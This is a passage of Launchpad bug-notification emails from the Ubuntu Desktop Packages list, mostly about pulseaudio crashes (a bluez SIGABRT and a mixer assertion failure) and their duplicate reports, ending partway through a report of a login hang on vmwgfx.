** Information type changed from Private to Public -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1760729 Title: pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] Status in bluez package in Ubuntu: Invalid Status in pulseaudio package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d --- Pulseaudio crashed randomly while watching a YouTube video in fullscreen. When crashing the last 1 second or so of audio looped for a few seconds, then cut out. I am using PulseEffects as well, which crashed around the same time. Whether that was the cause or a result of the PulseAudio crash is unclear. I am using Bionic because the video drivers for my AMD Raven Ridge iGPU are not supported by earlier versions. ~ $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 ~ $ apt-cache policy pulseaudio pulseaudio: Installed: 1:11.1-1ubuntu7 Candidate: 1:11.1-1ubuntu7 Version table: *** 1:11.1-1ubuntu7 500 500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ben3375 F pulseaudio /dev/snd/controlC0: ben3375 F pulseaudio CurrentDesktop: KDE Date: Mon Apr 2 19:23:48 2018 ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2018-03-25 (8 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180306.1) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-11.1.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/pulse-11.1/modules/module-bluez5-device.so ?? () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-11.1.so Title: pulseaudio crashed with SIGABRT UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo dmi.bios.date: 12/01/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F10 dmi.board.asset.tag: Default string dmi.board.name: AB350N-Gaming WIFI-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF10:bd12/01/2017:svnGigabyteTechnologyCo.,Ltd.:pnAB350N-GamingWIFI:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnAB350N-GamingWIFI-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: AB350N-Gaming WIFI dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1760729/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833349] [NEW] /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:setup_transport_and_stream
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:11.1-1ubuntu7.2, the problem page at https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833349 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:setup_transport_and_stream Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:11.1-1ubuntu7.2, the problem page at https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833349/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833350] [NEW] /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:source_process_msg
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-9~disco1, the problem page at https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: bionic cosmic disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833350 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:source_process_msg Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-9~disco1, the problem page at https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833350/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833349] Re: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:setup_transport_and_stream
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 ** This bug has been marked a duplicate of bug 1760729 pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833349 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:setup_transport_and_stream Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:11.1-1ubuntu7.2, the problem page at https://errors.ubuntu.com/problem/0c7f70ee57533aee145dad48aa05487de7da808d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833349/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833351] Re: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:sink_process_msg
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 ** This bug has been marked a duplicate of bug 1760729 pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833351 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:sink_process_msg Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-2ubuntu3, the problem page at https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833351/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833350] Re: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:source_process_msg
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 ** This bug has been marked a duplicate of bug 1760729 pulseaudio crashed during playback with SIGABRT in set_nonblock() from pa_make_fd_nonblock() from setup_stream() [bluez] from setup_transport_and_stream() [bluez] -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833350 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:source_process_msg Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-9~disco1, the problem page at https://errors.ubuntu.com/problem/36464ddf744c449f1480d3ec1746fa2ac4473f8d contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833350/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833351] [NEW] /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:sink_process_msg
*** This bug is a duplicate of bug 1760729 *** https://bugs.launchpad.net/bugs/1760729 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-2ubuntu3, the problem page at https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: bionic disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833351 Title: /usr/bin/pulseaudio:6:set_nonblock:pa_make_fd_nonblock:setup_stream:setup_stream:sink_process_msg Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-2ubuntu3, the problem page at https://errors.ubuntu.com/problem/7c4e21254b37e5f76989d357fb6cea8b0784b14c contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833351/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1556439] Re: pulseaudio crashed with SIGABRT in pa_sink_input_assert_ref() from pa_sink_input_finish_move() from pa_sink_move_all_finish() from card_set_profile() from pa_card_
No crashes since we upgraded to PulseAudio 12, which means no crashes in Ubuntu 18.10 onward. ** Changed in: pulseaudio (Ubuntu) Status: Confirmed => Fix Released ** Also affects: pulseaudio (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: pulseaudio (Ubuntu Xenial) Importance: Undecided Status: New ** No longer affects: pulseaudio (Ubuntu Xenial) ** No longer affects: pulseaudio (Ubuntu Bionic) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1556439 Title: pulseaudio crashed with SIGABRT in pa_sink_input_assert_ref() from pa_sink_input_finish_move() from pa_sink_move_all_finish() from card_set_profile() from pa_card_set_profile Status in pulseaudio package in Ubuntu: Fix Released Bug description: https://errors.ubuntu.com/problem/a83a007593c81501c4fbb4e9ac0f47e0b3880d17 --- Changing between Logitech G933 digital and analog and Logitech G930 digital and analog ProblemType: Crash DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu2 ProcVersionSignature: Ubuntu 4.4.0-12.28-generic 4.4.4 Uname: Linux 4.4.0-12-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset wl nvidia ApportVersion: 2.20-0ubuntu3 Architecture: amd64 CurrentDesktop: Unity Date: Sat Mar 12 17:20:34 2016 EcryptfsInUse: Yes ExecutablePath: /usr/bin/pulseaudio InstallationDate: Installed on 2016-02-22 (19 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: PATH=(custom, no user) SHELL=/bin/bash LANG=sv_SE.UTF-8 LANGUAGE=sv XDG_RUNTIME_DIR= Signal: 6 SourcePackage: pulseaudio StacktraceTop: pa_sink_input_finish_move () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so pa_sink_move_all_finish () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so ?? () from /usr/lib/pulse-8.0/modules/module-alsa-card.so pa_card_set_profile () from /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecore-8.0.so ?? () from /usr/lib/pulse-8.0/modules/libprotocol-native.so Title: pulseaudio crashed with SIGABRT in pa_sink_input_finish_move() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo dmi.bios.date: 09/30/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X99-DELUXE dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2001:bd09/30/2015:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnX99-DELUXE:rvrRev1.xx:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: All Series dmi.product.version: System Version dmi.sys.vendor: ASUS To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1556439/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1663528] Re: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed.
** Description changed: https://errors.ubuntu.com/problem/a8bcc8185d5b1da4614bcdcf99daf57011bf9250 + https://errors.ubuntu.com/problem/5e10f78db7c4d1d3ab1cd6cd5d0b7cda2299eaad --- Sidenote: Imediatly got that crash after the apt-xapian-index one ( lp:1663524 ); does not know if it can exist a possible relationship between them. Got an other crash, and that time 'sound' is fully lost (pulseaudio not reloaded). Wonder if lp:1662860 can be concerned. ProblemType: Crash DistroRelease: Ubuntu 17.04 Package: pulseaudio 1:10.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.9.0-16.17-generic 4.9.6 Uname: Linux 4.9.0-16-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu2 Architecture: amd64 AssertionMessage: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: oem4084 F pulseaudio /dev/snd/controlC0: oem4084 F pulseaudio CurrentDesktop: GNOME Date: Fri Feb 10 09:55:45 2017 ExecutablePath: /usr/bin/pulseaudio ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_GB.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: __assert_fail_base (fmt=, assertion=assertion@entry=0x7f92818e7188 "mixer", file=file@entry=0x7f92818e7419 "mixer.c", line=line@entry=929, function=function@entry=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:92 __GI___assert_fail (assertion=0x7f92818e7188 "mixer", file=0x7f92818e7419 "mixer.c", line=929, function=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:101 snd_mixer_elem_get_callback_private () from /usr/lib/x86_64-linux-gnu/libasound.so.2 ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so ?? () from /usr/lib/pulse-10.0/modules/module-alsa-card.so Title: pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom colord dip lpadmin nvidia-persistenced plugdev sambashare sudo users dmi.bios.date: 07/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3002 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5W DH Deluxe dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3002:bd07/22/2010:svnASUSTEKCOMPUTERINC:pnP5WDHDeluxe:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5WDHDeluxe:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: P5W DH Deluxe dmi.product.version: System Version dmi.sys.vendor: ASUSTEK COMPUTER INC ** Description changed: https://errors.ubuntu.com/problem/a8bcc8185d5b1da4614bcdcf99daf57011bf9250 https://errors.ubuntu.com/problem/5e10f78db7c4d1d3ab1cd6cd5d0b7cda2299eaad + https://errors.ubuntu.com/problem/0f07e226e7db1d0fb140736a956760871e695669 --- Sidenote: Imediatly got that crash after the apt-xapian-index one ( lp:1663524 ); does not know if it can exist a possible relationship between them. Got an other crash, and that time 'sound' is fully lost (pulseaudio not reloaded). Wonder if lp:1662860 can be concerned. ProblemType: Crash DistroRelease: Ubuntu 17.04 Package: pulseaudio 1:10.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.9.0-16.17-generic 4.9.6 Uname: Linux 4.9.0-16-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.4-0ubuntu2 Architecture: amd64 AssertionMessage: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: oem4084 F pulseaudio /dev/snd/controlC0: oem4084 F pulseaudio CurrentDesktop: GNOME Date: Fri Feb 10 09:55:45 2017 ExecutablePath: /usr/bin/pulseaudio ProcCmdline: /usr/bin/pulseaudio --start --log-target=syslog ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_GB.UTF-8 SHELL=/bin/bash Signal: 6 SourcePackage: pulseaudio StacktraceTop: __assert_fail_base (fmt=, assertion=assertion@entry=0x7f92818e7188 "mixer", file=file@entry=0x7f92818e7419 "mixer.c", line=line@entry=929, function=function@entry=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:92 __GI___assert_fail (assertion=0x7f92818e7188 "mixer", file=0x7f92818e7419 "mixer.c", line=929, function=0x7f92818e76a0 "snd_mixer_elem_get_callback_private") at assert.c:101 snd_mixer_elem_get_callback_private () from /usr/lib/x86_64-linux
[Desktop-packages] [Bug 1833344] Re: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: asserzione \"mixer\" non riuscita.
*** This bug is a duplicate of bug 1663528 *** https://bugs.launchpad.net/bugs/1663528 ** This bug has been marked a duplicate of bug 1663528 pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833344 Title: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: asserzione \"mixer\" non riuscita. Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu4, the problem page at https://errors.ubuntu.com/problem/0f07e226e7db1d0fb140736a956760871e695669 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833344/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833343] Re: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertiva \342\200\234mixer\342\200\235 falhou.
*** This bug is a duplicate of bug 1663528 *** https://bugs.launchpad.net/bugs/1663528 ** This bug has been marked a duplicate of bug 1663528 pulseaudio assert failure: pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertion `mixer' failed. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833343 Title: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertiva \342\200\234mixer\342\200\235 falhou. Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu5, the problem page at https://errors.ubuntu.com/problem/5e10f78db7c4d1d3ab1cd6cd5d0b7cda2299eaad contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833343/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833344] [NEW] /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: asserzione \"mixer\" non riuscita.
*** This bug is a duplicate of bug 1663528 *** https://bugs.launchpad.net/bugs/1663528 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu4, the problem page at https://errors.ubuntu.com/problem/0f07e226e7db1d0fb140736a956760871e695669 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: artful bionic kylin-18.04 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833344 Title: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: asserzione \"mixer\" non riuscita. Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu4, the problem page at https://errors.ubuntu.com/problem/0f07e226e7db1d0fb140736a956760871e695669 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833344/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833343] [NEW] /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertiva \342\200\234mixer\342\200\235 falhou.
*** This bug is a duplicate of bug 1663528 *** https://bugs.launchpad.net/bugs/1663528 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu5, the problem page at https://errors.ubuntu.com/problem/5e10f78db7c4d1d3ab1cd6cd5d0b7cda2299eaad contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Tags: bionic kylin-18.04 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1833343 Title: /usr/bin/pulseaudio:pulseaudio: mixer.c:929: snd_mixer_elem_get_callback_private: Assertiva \342\200\234mixer\342\200\235 falhou. Status in pulseaudio package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding pulseaudio. This problem was most recently seen with package version 1:12.2-0ubuntu5, the problem page at https://errors.ubuntu.com/problem/5e10f78db7c4d1d3ab1cd6cd5d0b7cda2299eaad contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1833343/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
Card archived: https://trello.com/c/gn0J5Qgb -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Won't Fix Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 